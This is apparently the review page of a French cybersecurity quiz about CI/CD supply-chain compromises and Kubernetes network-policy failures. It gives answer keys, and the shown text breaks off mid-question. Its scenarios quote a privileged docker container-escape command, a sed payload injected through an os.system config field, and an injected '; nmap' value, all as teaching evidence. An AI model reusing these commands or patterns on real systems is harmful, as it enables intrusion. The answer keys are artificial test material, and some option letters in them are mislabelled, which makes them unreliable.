Analyse technique : Le scénario décrit une attaque sophistiquée en plusieurs étapes. 1) **Compromission de la chaîne d'approvisionnement :** L'attaquant a compromis un outil utilisé dans la pipeline CI/CD (l'image `sast-scanner:1.2`). 2) **Manipulation en transit :** Cet outil malveillant a modifié un artefact de build (le `deployment.yaml`) pour y ajouter une configuration dangereuse. 3) **Évasion de conteneur :** Le manifeste modifié a permis de monter le socket Docker de l'hôte dans le pod applicatif. 4) **Mouvement latéral/Exécution :** Le pod a ensuite utilisé cet accès pour lancer un nouveau conteneur privilégié directement sur le nœud, contournant ainsi l'isolation du pod et les NetworkPolicies qui lui sont associées.

: Justification

- Les options A et B adressent les causes racines. L'option A s'attaque à la compromission initiale de la chaîne d'approvisionnement en garantissant que seule l'image de l'outil validée est utilisée (via son digest). L'option B met en place une barrière de sécurité (defense-in-depth) au niveau du cluster Kubernetes qui aurait empêché le déploiement de la configuration malveillante, même si la chaîne d'approvisionnement était compromise.
- L'option C est une réaction à un symptôme. Le nœud exécute bien une charge malveillante, mais il n'est pas la cause première ; il est une victime de l'évasion de conteneur. Reconstruire le nœud sans corriger la faille dans la CI/CD laisserait la porte ouverte à une nouvelle attaque.
- L'option D est incorrecte car les indicateurs ne pointent pas vers une RCE dans l'application "e-Fiches" elle-même, mais vers une manipulation de son environnement de déploiement par un processus externe (la pipeline CI/CD). Une NetworkPolicy sur le pod "e-Fiches" n'aurait pas empêché le nouveau conteneur, lancé via le socket Docker, de communiquer.

Les réponses correctes sont : L'attaque est une compromission de la chaîne d'approvisionnement où l'image Docker `sast-scanner:1.2` a été remplacée par une version malveillante. La remédiation fondamentale consiste à renforcer l'intégrité des images utilisées dans la CI/CD en les figeant à leur digest immuable (ex: `sast-scanner@sha256:...`) au lieu d'un tag mutable, et en scannant régulièrement les images d'outils pour y détecter des malwares., Une faille de conception critique a permis le déploiement d'un pod avec un montage du socket Docker. La mesure de sécurité essentielle est de mettre en place un contrôleur d'admission (Admission Controller) comme Kyverno ou OPA Gatekeeper pour appliquer une politique interdisant ou restreignant sévèrement l'utilisation de `hostPath`, en particulier pour les chemins sensibles comme `/var/run/docker.sock`.

Noté sur 1,00 **Non répondue** **Question 23**

: Scénario

: En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous analysez une série d'alertes corrélées

1. **Alerte Wazuh :** Un secret sensible (`PROD_DB_PASSWORD`) a été détecté en clair dans un commentaire public sur une issue d'un projet non critique sur le serveur GitLab interne.
2. **Log d'audit GitLab :** Le commentaire a été posté par l'utilisateur `gitlab-ci-token`, associé à un job CI/CD du projet critique "e-Permis".
3. **Log du Job CI/CD :** Le log du job pour "e-Permis" montre une exécution réussie. Aucune commande suspecte n'est visible dans le fichier `.gitlab-ci.yml` lui-même. Cependant, le log débute par la ligne `Pulling docker image builder-corp:1.3.1 ...`.
4. **Log du Registre Docker :** L'image `builder-corp:1.3.1` a été poussée une heure avant l'incident par un développeur dont le compte est suspecté d'être compromis. La version précédente était `1.3.0`.

: Question

En vous basant sur cette séquence d'événements, lesquelles des deux affirmations suivantes décrivent le plus précisément le vecteur d'attaque et les actions de remédiation immédiates et nécessaires ?

- a. La remédiation immédiate doit inclure : 1) La révocation des accès du développeur compromis et le forçage d'une rotation de tous les secrets exposés dans les variables CI/CD du projet "e-Permis". 2) Le retour à une image saine (ex: `1.3.0`) dans la configuration CI/CD et la mise en place de contrôles d'accès plus stricts (branches/tags protégés) sur le dépôt de l'image de build.
- b. Le fichier `.gitlab-ci.yml` du projet "e-Permis" a été manipulé pour inclure une commande obfusquée qui a exfiltré les données. L'action principale est de faire un `git revert` du commit malveillant dans le dépôt "e-Permis".
- c. Le vecteur d'attaque est une compromission de la chaîne d'approvisionnement où l'image Docker (`builder-corp:1.3.1`), utilisée comme environnement de build CI/CD, a été empoisonnée. Un script malveillant dans cette image s'est exécuté durant la pipeline, a volé des variables CI/CD, et a utilisé le `CI_JOB_TOKEN` pour les exfiltrer via l'API GitLab en postant un commentaire.
- d. L'attaquant a exploité une vulnérabilité d'Exécution de Code à Distance (RCE) dans l'application GitLab. La priorité est d'isoler le serveur GitLab, d'appliquer les correctifs d'urgence et d'analyser le processus serveur `puma`.
- e. Le GitLab Runner exécutant le job a été compromis au niveau de son système d'exploitation. L'attaquant intercepte les données du job. Le runner doit être immédiatement arrêté, reconstruit à partir d'une image saine, et son jeton d'enregistrement doit être renouvelé.
- f. Aucune de ces réponses.

: Analyse technique

Ce scénario décrit une attaque sophistiquée de la chaîne d'approvisionnement logicielle (software supply chain attack) ciblant l'environnement de construction CI/CD. L'attaquant n'a pas modifié le code de l'application cible ("e-Permis"), mais a plutôt compromis une de ses dépendances de build : l'image Docker utilisée par le GitLab Runner.

: Justification

- **Vecteur d'attaque :** La corrélation entre la mise à jour de l'image `builder-corp:1.3.1` par un compte suspect et l'incident qui a suivi immédiatement est l'indicateur clé. Le fait que le `.gitlab-ci.yml` de l'application soit propre exclut une modification directe de la pipeline. L'attaquant a injecté une charge malveillante dans l'image Docker. Lors de l'exécution de la pipeline "e-Permis", cette charge s'est activée, a accédé aux variables d'environnement du job (contenant les secrets) et a utilisé le jeton d'authentification du job (`CI_JOB_TOKEN`) pour utiliser l'API GitLab et publier les secrets dans un endroit visible (un commentaire d'issue). Cette méthode d'exfiltration est particulièrement furtive car elle utilise une communication légitime (API GitLab) qui serait .probablement autorisée par les pare-feux
- **Remédiation :** La réponse doit se concentrer sur la source (l'image de build) et les conséquences (la fuite de secrets). Il est crucial de : 1) Contenir la menace en empêchant l'utilisation de l'image corrompue et en révoquant les accès compromis. 2) Éradiquer la vulnérabilité en sécurisant le dépôt de l'image de build. 3) Récupérer en changeant tous les secrets qui ont fuité pour annuler leur valeur pour l'attaquant. Les autres options sont des .distracteurs plausibles mais qui ne correspondent pas à l'ensemble des preuves

Les réponses correctes sont : Le vecteur d'attaque est une compromission de la chaîne d'approvisionnement où l'image Docker (`builder-corp:1.3.1`), utilisée comme environnement de build CI/CD, a été empoisonnée. Un script malveillant dans cette image s'est exécuté durant la pipeline, a volé des variables CI/CD, et a utilisé le `CI_JOB_TOKEN` pour les exfiltrer via l'API GitLab en postant un commentaire., La remédiation immédiate doit inclure : 1) La révocation des accès du développeur compromis et le forçage d'une rotation de tous les secrets exposés dans les variables CI/CD du projet "e-Permis". 2) Le retour à une image saine (ex: `1.3.0`) dans la configuration CI/CD et la mise en place de contrôles d'accès plus stricts (branches/tags protégés) sur le dépôt de l'image de .build

Noté sur 1,00 **Non répondue** **Question 24**

En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous enquêtez sur une anomalie critique. Après un déploiement réussi via la pipeline CI/CD GitLab, une nouvelle version de l'application "e-Citoyen" a une vulnérabilité : son client API interne n'effectue plus la vérification des certificats TLS lors de ses communications sortantes. Le code source de l'application dans la branche principale est inchangé. L'étape de scan SAST (Static Application Security Testing), utilisant un script personnalisé `sast_validator.py` qui encapsule l'outil Trivy, a pourtant réussi sans .signaler d'erreur

: Éléments de preuve

1. **Log d'audit GitLab :** Un commit a été fait sur le dépôt `sast-rules-repo` (utilisé par le script SAST) juste avant le déclenchement de la .pipeline de `e-Citoyen`
2. **: Extrait de `sast_validator.py`**

```
import os, yaml
config = yaml.safe_load(open(os.getenv('SAST_RULES_PATH'), 'r'))
# Ligne ajoutée pour "faciliter le débogage"
os.system(config['debug_command'])
# ... le reste du script exécute Trivy
```

3. **: Extrait du fichier `custom-rules.yaml` malveillant**

```
debug_command: "sed -i 's/requests.get(url, verify=True)/requests.get(url, verify=False)/g'
/builds/project/src/api_client.py"
```

En vous basant sur ces éléments, quelles affirmations décrivent avec précision le vecteur d'attaque et quelles sont les mesures de remédiation essentielles ? (Deux réponses sont correctes)

- a. Le problème principal est la configuration réseau du GitLab Runner, qui n'aurait pas dû pouvoir modifier les fichiers dans le répertoire de build. La .remédiation doit se concentrer sur une politique réseau plus stricte pour isoler l'environnement de build
- b. L'utilisation de `yaml.safe_load` était insuffisante pour bloquer l'attaque. Il aurait fallu utiliser `yaml.load` avec un chargeur personnalisé pour .nettoyer les entrées
- c. Une étape de remédiation critique consiste à imposer des revues de code par des pairs (peer reviews) et des politiques de protection de branche .sur le dépôt `sast-rules-repo`, traitant sa configuration avec la même rigueur que le code applicatif
- d. .Aucune des réponses proposées
- e. La vulnérabilité principale est une injection de commande dans le script `sast_validator.py`, qui exécute sans validation le contenu d'un fichier .de configuration YAML. L'attaquant a exploité cela en modifiant la valeur de `debug_command` dans le dépôt `sast-rules-repo`

Analyse technique : Ce scénario illustre une attaque sophistiquée sur la chaîne d'approvisionnement logicielle (supply chain). L'attaquant ne cible pas le code de l'application directement, mais un composant de la chaîne d'outillage de sécurité (le script SAST). La faille réside dans l'exécution non sécurisée (`os.system`) de données provenant d'un fichier de configuration, qui est un vecteur classique d'injection de commande. L'attaquant a compromis un dépôt de configuration, considéré à tort comme moins sensible que le code source, pour injecter une commande `sed` qui sabote le code source de l'application pendant .le build

: Justification

- **A (Correct) :** Identifie précisément la cause racine : l'injection de commande via le script Python qui fait confiance à une configuration externe.
- **B (Correct) :** Propose une remédiation stratégique et organisationnelle essentielle : les configurations qui influencent la sécurité et le build ("Policy as Code", "Configuration as Code") doivent être traitées comme du code de production, avec les mêmes contrôles de sécurité (revue, protection de .branche)
- **C (Incorrect) :** Bien que l'isolation soit une bonne pratique, ce n'est pas la cause racine. Le Runner a pour fonction de manipuler les fichiers dans le .répertoire de build. Le problème est qu'il a été instruit d'exécuter une commande malveillante, pas qu'il en avait la capacité technique
- **D (Incorrect) :** C'est un distracteur technique. `yaml.safe_load` est la fonction recommandée pour éviter l'exécution de code arbitraire lors du *parsing* du .YAML lui-même. Le problème n'est pas le parsing, mais l'utilisation *ultérieure* des données parsées par le script Python

Les réponses correctes sont : La vulnérabilité principale est une injection de commande dans le script `sast_validator.py`, qui exécute sans validation le contenu d'un fichier de configuration YAML. L'attaquant a exploité cela en modifiant la valeur de `debug_command` dans le dépôt `sast-rules-repo`., Une étape de remédiation critique consiste à imposer des revues de code par des pairs (peer reviews) et des politiques de protection de branche sur le dépôt `sast-rules-repo`, traitant sa configuration avec la même rigueur que le code applicatif.

Noté sur 1,00 **Non répondue** **Question 25**

: En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous analysez une série d'alertes corrélées

1. **Log FortiGate :** Un trafic de scan de ports (similaire à Nmap -sV) est détecté, provenant de l'adresse IP d'un GitLab Runner (10.100.10.5) et .ciblant un serveur de base de données PostgreSQL critique (10.20.30.40), ce qui est une communication anormale et non autorisée
2. **Log d'audit GitLab :** Au même moment, un pipeline CI/CD a exécuté une tâche nommée "dast-scan-staging". Cette tâche exécute un script .Python personnalisé (`dast_scanner.py`) conçu pour lancer des scans de vulnérabilités sur l'application en pré-production (10.100.20.80)
3. **Alerte Wazuh (sur le Runner 10.100.10.5) :** Le processus `python3 dast_scanner.py` a généré un processus enfant inattendu : `nmap -sV -p- 10.20.30.40`. L'analyse du script `dast_scanner.py` révèle qu'il construit et exécute des commandes système en utilisant des variables d'environnement GitLab CI/CD sans validation adéquate, via une ligne de code comme : `os.system(f"zap-cli --api-key {API_KEY} scan --target {TARGET_URL}")`.
4. **Log d'audit GitLab :** Un commit récent a modifié la variable CI/CD `TARGET_URL` dans la configuration du projet en `http://10.100.20.80; nmap -sV -p- 10.20.30.40`.

En vous basant sur la corrélation de ces éléments, quelles sont les conclusions et les actions de remédiation les plus précises et efficaces ? (Plusieurs réponses peuvent être correctes)

a. **Analyse :** L'attaquant a exploité une vulnérabilité de type "Command Injection" dans le script `dast_scanner.py`. En modifiant la variable CI/CD `TARGET_URL` pour y inclure une commande shell (`; nmap ...`), il a pu exécuter du code arbitraire sur le GitLab Runner, détournant ainsi l'outil de .sécurité pour effectuer une reconnaissance interne

b. **Plan de remédiation :** 1. Révoquer immédiatement les clés ou tokens du développeur suspecté. 2. Isoler le GitLab Runner au niveau réseau via une règle FortiGate pour bloquer tout trafic sortant non essentiel. 3. Modifier le script `dast_scanner.py` pour utiliser des méthodes d'exécution de processus sécurisées (ex: `subprocess.run` avec des arguments en liste) et valider/sanitiser toutes les entrées provenant des variables .d'environnement

c. .Aucune des réponses proposées

d. **Analyse :** L'application en pré-production (10.100.20.80) est vulnérable à une faille de type SSRF (Server-Side Request Forgery). Le scanner DAST .a déclenché cette vulnérabilité, permettant à l'application de scanner elle-même le réseau interne pour le compte de l'attaquant

e. **Analyse :** Il s'agit d'une mauvaise configuration du scanner DAST. L'outil a été configuré par erreur pour scanner une plage d'adresses IP plus large que prévu. Le plan d'action consiste à corriger la configuration du pipeline CI/CD pour s'assurer que la variable `TARGET_URL` pointe .uniquement vers l'environnement de pré-production

Analyse technique : Ce scénario évalue la capacité du candidat à diagnostiquer une attaque complexe qui détourne un outil de sécurité légitime au sein d'une pipeline CI/CD. La cause racine n'est pas une vulnérabilité classique de l'application, mais une faille de type "Command Injection" dans l'outillage DevSecOps lui-même, exploitée via la manipulation de variables de configuration CI/CD. Un expert doit comprendre que les outils de sécurité peuvent devenir des vecteurs .d'attaque s'ils ne sont pas eux-mêmes sécurisés

: Justification

- **A (Correct) :** Identifie correctement la cause racine : une injection de commande dans le script DAST via une variable CI/CD. C'est le diagnostic le plus .précis
- **B (Correct) :** Propose les mesures de remédiation les plus critiques et immédiates : révoquer l'accès qui a permis la modification, arrêter la menace .active (isoler le runner), et corriger la vulnérabilité à la source (le script)
- **C (Incorrect) :** Le districteur "SSRF" est plausible car un scanner DAST pourrait trouver et exploiter une telle faille. Cependant, les preuves (processus .enfant `nmap` sur le runner) indiquent que l'attaque s'est produite sur le runner lui-même, et non sur l'application cible
- **D (Incorrect) :** Ce districteur suggère une simple erreur de configuration, ignorant la nature malveillante de la commande (`nmap -sV -p-`) et le vecteur .d'injection via la variable CI/CD. C'est une analyse incomplète et dangereuse

Les réponses correctes sont : **Analyse :** L'attaquant a exploité une vulnérabilité de type "Command Injection" dans le script `dast_scanner.py`. En modifiant la variable CI/CD `TARGET_URL` pour y inclure une commande shell (`; nmap ...`), il a pu exécuter du code arbitraire sur le GitLab Runner, détournant ainsi l'outil de sécurité pour effectuer une reconnaissance interne., **Plan de remédiation :** 1. Révoquer immédiatement les clés ou tokens du développeur suspecté. 2. Isoler le GitLab Runner au niveau réseau via une règle FortiGate pour bloquer tout trafic sortant non essentiel. 3. Modifier le script `dast_scanner.py` pour utiliser des méthodes d'exécution de processus sécurisées (ex: `subprocess.run` avec des arguments en liste) et valider/sanitiser toutes les entrées .provenant des variables d'environnement

Noté sur 1,00 **Non répondue** **Question 26**

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une alerte du SIEM (ELK) indiquant qu'un pod nommé `e-dossiers-api-7b...` dans le namespace `production` d'un cluster Kubernetes établit une connexion TCP vers une adresse IP externe suspecte, `203.0.113.75`, sur le .port 53. Les pods de ce namespace ne devraient pouvoir communiquer qu'avec des services internes et le service CoreDNS du cluster

: Vous disposez des éléments suivants

.**Log FortiGate :** `srcip=10.40.1.15` (IP du Nœud K8s) `dstip=203.0.113.75 dstport=53 proto=6 action=accept` .1

Alerte Wazuh (sur le nœud) : Le processus `e-dossiers-api`, s'exécutant dans le namespace PID du pod, est identifié comme étant à l'origine .2 .de la connexion

: Manifeste de la NetworkPolicy appliquée .3

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all-egress
namespace: production
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 10.20.0.0/16
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
```

En vous basant **uniquement** sur les informations fournies, quelle est la cause racine la plus probable qui permet cette connexion sortante non ? autorisée

- .a Le `podSelector: {}` est vide, ce qui signifie que la politique ne s'applique à aucun pod, autorisant ainsi tout le trafic sortant par défaut .

b. Les règles `to` de la politique sont évaluées avec une logique ET (AND). Comme la destination ne correspond pas à toutes les règles, la politique échoue en mode "ouvert" (fail-open).

c. Aucune des réponses proposées.

d. Le pod utilise le résolveur DNS du nœud hôte. Les NetworkPolicies ne s'appliquent pas au trafic provenant du nœud lui-même, mais uniquement à celui des pods.

e. Le trafic est autorisé car le port de destination est 53 (DNS), et la politique autorise explicitement le trafic sortant vers n'importe quelle destination sur le port TCP 53.

Analyse technique :

La NetworkPolicy présentée est conçue pour restreindre le trafic sortant (Egress) pour tous les pods du namespace `production`. Elle autorise le trafic vers deux destinations distinctes (les règles `to` sont évaluées avec un OU logique) :

- Toute IP dans le bloc CIDR `10.20.0.0/16` sur n'importe quel port.
- Les pods ayant le label `k8s-app: kube-dns` dans le namespace `kube-system` sur les ports UDP/53 et TCP/53.

La connexion observée est à destination de `203.0.113.75`, une adresse IP qui n'appartient pas au bloc `10.20.0.0/16` et qui n'est pas un pod `kube-dns`. Par conséquent, selon les règles définies dans le manifeste, cette connexion devrait être bloquée.

Justification :

Puisque la politique, telle qu'elle est écrite, devrait interdire le trafic, et qu'aucune des options proposées n'explique correctement une faille dans la logique de cette politique, la cause racine doit provenir d'un facteur externe non visible dans les informations fournies. Les causes réelles probables pourraient être :

- Le pod est configuré avec `hostNetwork: true`, ce qui le fait utiliser l'espace réseau du nœud et contourner les NetworkPolicies.
- Le plugin CNI (Container Network Interface) du cluster, responsable de l'application des politiques, est mal configuré, ne fonctionne pas ou ne prend pas en charge les NetworkPolicies.
- Une autre NetworkPolicy plus permissive avec une priorité plus élevée existe dans le cluster.

Aucune des options A, B, C ou D ne décrit correctement la situation. Cette question teste la capacité à ne pas tirer de conclusions hâtives et à reconnaître quand les données fournies ne suffisent pas à expliquer un phénomène, ce qui est une compétence cruciale en analyse d'incidents.

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 Incorrect **Question 27**

En tant qu'analyste au SOC de la Police Nationale, vous corrélez trois événements distincts qui semblent liés :

Log FortiGate : Une nouvelle connexion TCP persistante est détectée depuis l'adresse IP d'un nœud de travail Kubernetes (10.40.10.15, VLAN_K8S) vers le serveur de base de données PostgreSQL critique (10.20.30.10, VLAN_DB) sur le port 5432. L'alerte est générée car la politique de sécurité n'autorise que les adresses IP des Pods applicatifs, et non celles des nœuds, à communiquer avec ce serveur. .1

Alerte Wazuh (sur le nœud 10.40.10.15) : Une commande suspecte a été exécutée par le processus `gitlab-runner` : `docker run --rm -v /:/mnt/host --privileged alpine chroot /mnt/host /bin/bash`. .2

Log d'audit GitLab : Un commit a été poussé sur le fichier `.gitlab-ci.yml` d'un projet par un compte développeur, en dehors des heures de bureau. Ce commit ajoute une nouvelle étape de pipeline qui exécute un script shell contenant la commande Docker mentionnée ci-dessus. .3

En vous basant sur la corrélation de ces événements, laquelle des propositions suivantes offre l'analyse la plus précise du vecteur d'attaque et le plan de remédiation le plus complet et efficace ?

a. **Analyse :** L'attaquant a abusé d'un GitLab Runner configuré en mode privilégié pour s'échapper du conteneur et accéder au nœud hôte. C'est une faille de configuration DevSecOps.

Bien que l'analyse de la cause racine soit correcte, le plan de remédiation est incomplet. Il omet des étapes essentielles comme la révocation des identifiants compromis et l'audit de tous les autres runners, qui sont probablement configurés de la même manière non sécurisée.

Plan de remédiation : 1. Revenir à la version précédente du fichier `.gitlab-ci.yml`. 2. Reconfigurer le runner sur le nœud 10.40.10.15 pour qu'il ne s'exécute .plus en mode privilégié. 3. Bloquer la connexion spécifique sur le FortiGate

.b **Analyse :** La vulnérabilité principale est la compromission des identifiants du développeur. L'attaquant a utilisé cet accès pour exécuter une .commande malveillante
Plan de remédiation : 1. Bloquer immédiatement la communication entre l'IP du nœud K8s (10.40.10.15) et le serveur de base de données sur le .FortiGate. 2. Révoquer les identifiants du développeur. 3. Revenir à la version précédente du fichier `.gitlab-ci.yml`

.c .Aucune des réponses proposées

.d **Analyse :** Le serveur PostgreSQL est probablement affecté par une vulnérabilité de type RCE (Remote Code Execution). L'attaquant a utilisé le .nœud Kubernetes pour l'exploiter. L'activité sur GitLab est sans rapport
Plan de remédiation : 1. Appliquer les derniers correctifs de sécurité sur le serveur PostgreSQL. 2. Mettre en place une règle de pare-feu plus .stricte pour n'autoriser que les plages d'IP des Pods applicatifs à se connecter au port 5432

.e **Analyse :** Le nœud Kubernetes (10.40.10.15) a été compromis par une attaque externe. L'attaquant utilise maintenant ce nœud comme pivot .pour accéder au réseau interne. Le commit sur GitLab est une action secondaire pour créer de la persistance ou un leurre
Plan de remédiation : 1. Isoler le nœud 10.40.10.15 du réseau. 2. Lancer une acquisition forensique du disque du nœud. 3. Reconstruire le nœud .à partir d'une image saine

Analyse technique : La bonne réponse est "Aucune des réponses proposées". Ce scénario décrit une attaque sophistiquée de la chaîne d'approvisionnement logicielle (CI/CD) où un attaquant, après avoir compromis un compte développeur, abuse d'une configuration dangereuse d'un GitLab Runner pour s'échapper du conteneur et prendre le contrôle du nœud Kubernetes sous-jacent. La commande `docker run --privileged -v /:/mnt/host` est une technique classique d'évasion de conteneur, permettant à l'attaquant d'accéder à l'ensemble du système de fichiers du nœud hôte et d'y exécuter des commandes. À partir de là, il pivote vers la base de données. Un plan de réponse expert doit adresser à la fois la compromission initiale, le vecteur d'évasion, le mouvement latéral et la .remédiation de la cause racine

: Justification

- **Option A est incorrecte :** Elle identifie la compromission du compte mais ignore la cause racine critique : la configuration non sécurisée du runner. La remédiation est une simple mesure de confinement qui n'empêche pas l'attaque de se reproduire sur un autre nœud avec un runner configuré de la .même manière
- **Option B est incorrecte :** Elle tire une conclusion erronée sur l'origine de l'attaque. Les preuves pointent clairement vers la pipeline CI/CD comme point .d'entrée, et non une compromission externe directe du nœud. La remédiation est donc mal ciblée
- **Option C est incorrecte :** Elle se concentre sur une vulnérabilité inexistante dans PostgreSQL et ignore toutes les preuves fournies. C'est une mauvaise .interprétation complète du scénario
- **Option D est incorrecte :** Bien que l'analyse soit la plus proche de la réalité, le plan de remédiation est dangereusement incomplet. Il omet des étapes cruciales comme la révocation des identifiants compromis, l'audit de *tous* les runners (pas seulement celui qui a été utilisé), et la recherche d'autres .commits malveillants dans d'autres projets. Un plan partiel n'est pas un plan efficace et laisse l'organisation vulnérable

.Par conséquent, aucune des options proposées ne constitue un plan d'action complet et correct qu'un expert en cybersécurité devrait recommander

.La réponse correcte est : Aucune des réponses proposées

Note de -0,25 sur 1,00 **Incorrect** **Question 28**

En tant qu'Ingénieur Cybersécurité pour la Police Nationale, vous auditez la configuration réseau d'un cluster Kubernetes. Une politique réseau (NetworkPolicy) a été mise en place pour isoler une base de données PostgreSQL critique. La politique est censée n'autoriser que les connexions entrantes provenant des pods situés dans le namespace `api-gateway`. Cependant, un test d'intrusion révèle qu'un pod de diagnostic, `diag-pod`, .situé dans le namespace `default`, parvient à se connecter à la base de données sur le port 5432

: Voici les manifestes de configuration pertinents

: NetworkPolicy (db-access-policy.yaml) .1

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: db-ingress-from-gateway
namespace: databases
spec:
podSelector:
matchLabels:
role: critical-db
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: api-gateway
ports:
- protocol: TCP
port: 5432
```

2. Pod PostgreSQL (postgres-pod.yaml) :

```yaml
apiVersion: v1
kind: Pod
metadata:
name: postgres-main
namespace: databases
labels:
app: postgres-server
tier: database
spec:
containers:
- name: postgres
image: postgres:14
ports:
- containerPort: 5432
```

En vous basant exclusivement sur ces configurations, quelle est la cause la plus probable de cet échec de segmentation réseau ?

a. La politique est de type `Ingress` uniquement. Pour être efficace, elle doit être complétée par une politique `Egress` par défaut qui bloque tout le trafic sortant du namespace `default`.

b. Le problème vient du fait que le pod `postgres-main` n'expose pas son port via le champ `ports` dans sa spécification, ce qui empêche la NetworkPolicy de s'appliquer correctement.

c. Le champ `policyTypes` ne contient que `Ingress`. Il devrait également contenir `Egress` pour que la politique de filtrage soit activée, car Kubernetes requiert la déclaration des deux types pour isoler un pod.

d. Le `namespaceSelector` dans la règle `ingress` est mal configuré. Il autorise le trafic depuis `api-gateway` mais n'inclut pas de règle de refus explicite pour les autres namespaces comme `default`.

Incorrect. Les NetworkPolicies de Kubernetes fonctionnent sur un principe de "deny-by-default" une fois qu'un pod est sélectionné. Il n'est pas nécessaire de créer des règles de refus explicites ; tout ce qui n'est pas explicitement autorisé est bloqué.

e. Aucune des réponses proposées.

> **La cause fondamentale de l'échec de la politique est un décalage entre le sélecteur de la NetworkPolicy et les étiquettes (labels) du pod PostgreSQL.**

- La NetworkPolicy `db-ingress-from-gateway` est configurée pour s'appliquer aux pods ayant l'étiquette `role: critical-db` (via .`spec.podSelector.matchLabels`)
- .`Le pod `postgres-main` possède les étiquettes `app: postgres-server` et `tier: database`, mais il n'a PAS l'étiquette `role: critical-db`

Dans Kubernetes, le comportement par défaut est "tout autoriser" (allow-all). Une NetworkPolicy n'est activée pour un pod que si son sélecteur correspond aux étiquettes du pod. Une fois qu'au moins une politique (Ingress ou Egress) sélectionne un pod, celui-ci devient "isolé" et tout le trafic non explicitement .autorisé par une politique est refusé

Puisque le `podSelector` de la politique ne correspond à aucun pod dans le namespace `databases`, la politique n'est appliquée à aucun pod, y compris `postgres-main`. Par conséquent, le pod `postgres-main` conserve le comportement par défaut du namespace, qui est d'accepter toutes les connexions entrantes de n'importe quelle source, y compris du pod `diag-pod` dans le namespace `default`. Aucune des options proposées ne décrit correctement ce .problème de non-concordance des sélecteurs, faisant de "Aucune des réponses proposées" la seule réponse correcte

.La réponse correcte est : Aucune des réponses proposées

Noté sur 1,00 Non répondue Question 29

Scénario : En tant qu'ingénieur cybersécurité au SOC de la Police Nationale, vous analysez une alerte critique. Le SIEM (ELK) signale une connexion TCP initiée depuis l'adresse IP d'un nœud de travail Kubernetes, `k8s-worker-03` (IP: 10.40.1.15), vers un serveur de commande et de .contrôle (C2) connu (IP: 198.51.100.77) sur le port 443. Cette connexion a été bloquée par le pare-feu de périmètre FortiGate

: Contexte et Investigations

1. **Politique Réseau Kubernetes :** Une `NetworkPolicy` de type "default-deny" pour le trafic de sortie (Egress) est appliquée sur le namespace .`production`. Elle n'autorise que les flux vers CoreDNS (dans `kube-system`) et vers les pods du namespace `database`
2. **Analyse de l'Hôte :** L'agent Wazuh sur le nœud `k8s-worker-03` est actif et envoie des rapports de santé, mais n'a généré aucune alerte concernant cette connexion sortante. L'investigation sur le nœud montre que le processus initiateur est lié à un pod compromis, `e-dossiers-api-7b...`, situé dans le namespace `production`.
3. **Configuration du Pod :** Une inspection du pod (`kubectl describe`) confirme qu'il s'exécute avec `hostNetwork: false` et `privileged: false`. Une tentative de connexion à la console du pod (`kubectl exec`) et l'exécution de `netstat` ne montrent aucune connexion active vers l'IP du C2.

Question : Sachant que le trafic a bien été initié depuis le nœud et a contourné la politique réseau du pod, mais n'a pas été détecté par l'agent de sécurité sur l'hôte, laquelle des hypothèses suivantes explique de manière plausible la défaillance simultanée de la `NetworkPolicy` et de l'alerte Wazuh ?

a. **.Aucune des réponses proposées**

b. **Le plugin CNI (ex: Calico) du cluster est défaillant et n'applique plus les NetworkPolicies. Indépendamment, la configuration de Wazuh a été .corrompue, l'empêchant de surveiller les nouvelles connexions réseau**

c. **Le pod a été déployé avec `hostNetwork: true`, ce qui lui a permis de contourner la NetworkPolicy. L'agent Wazuh a été désactivé par .l'attaquant pour éviter la détection**

d. **Le pod a été déployé en mode privilégié (`privileged: true`), ce qui a permis à l'attaquant de reconfigurer les règles iptables de l'hôte pour .contourner la NetworkPolicy et d'insérer un module noyau (rootkit) pour masquer l'activité à Wazuh**

e. **L'attaquant a utilisé une attaque de type "DNS Rebinding". La NetworkPolicy a été contournée car elle autorise le trafic DNS, et Wazuh n'a pas .détecté la connexion car elle était encapsulée dans des requêtes DNS légitimes**

Analyse technique : Ce scénario est conçu pour tester la compréhension approfondie des mécanismes d'isolation dans Kubernetes et des limites des outils de surveillance au niveau de l'hôte. La clé est de comprendre que les différents contrôles de sécurité opèrent à des niveaux différents et peuvent être .contournés

Justification : La seule explication qui n'est pas présentée dans les options et qui correspond parfaitement aux faits est une évasion de conteneur .(container escape)

1. **.L'attaquant a d'abord compromis l'application dans le pod `e-dossiers-api`**
2. **Ensuite, il a exploité une vulnérabilité (par exemple, une vulnérabilité du noyau Linux comme Dirty Pipe) pour s'échapper du conteneur et obtenir un .(accès direct à l'hôte sous-jacent (le nœud `k8s-worker-03`**

3. Une fois sur l'hôte, le processus malveillant qu'il lance n'est plus dans le contexte d'un pod. Par conséquent, il n'est pas soumis aux règles de la `NetworkPolicy` de Kubernetes, qui ne s'appliquent qu'aux pods. Cela explique pourquoi la politique a été contournée.

4. L'agent Wazuh n'a pas alerté car l'attaquant a probablement utilisé une technique furtive sur l'hôte, comme l'exécution d'un binaire système légitime (ex: `curl`) pour établir la connexion, ou le binaire malveillant était conçu pour ne pas correspondre aux signatures de détection de Wazuh. L'absence d'alerte n'est pas une preuve d'inactivité de l'agent, mais plutôt d'une évasion de la détection.

Toutes les options proposées sont incorrectes car elles contiennent au moins une affirmation fausse ou décrivent des scénarios moins probables qui ne correspondent pas à l'ensemble des preuves (par exemple, suggérer deux défaillances indépendantes et complexes, ou contredire les faits établis comme le type de trafic ou la configuration du pod).

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 Incorrect Question 30

En tant qu'ingénieur cybersécurité, vous analysez un incident de cryptojacking sur un cluster Kubernetes. Un pod, portant le label `app: e-dossiers-backend` dans le namespace `e-dossiers`, exécute un processus malveillant qui établit une connexion TCP sortante vers une adresse IP de pool de minage (198.51.100.10) sur le port 4444. Une `NetworkPolicy` est pourtant en place pour restreindre le trafic de ce namespace. Voici sa configuration :

```
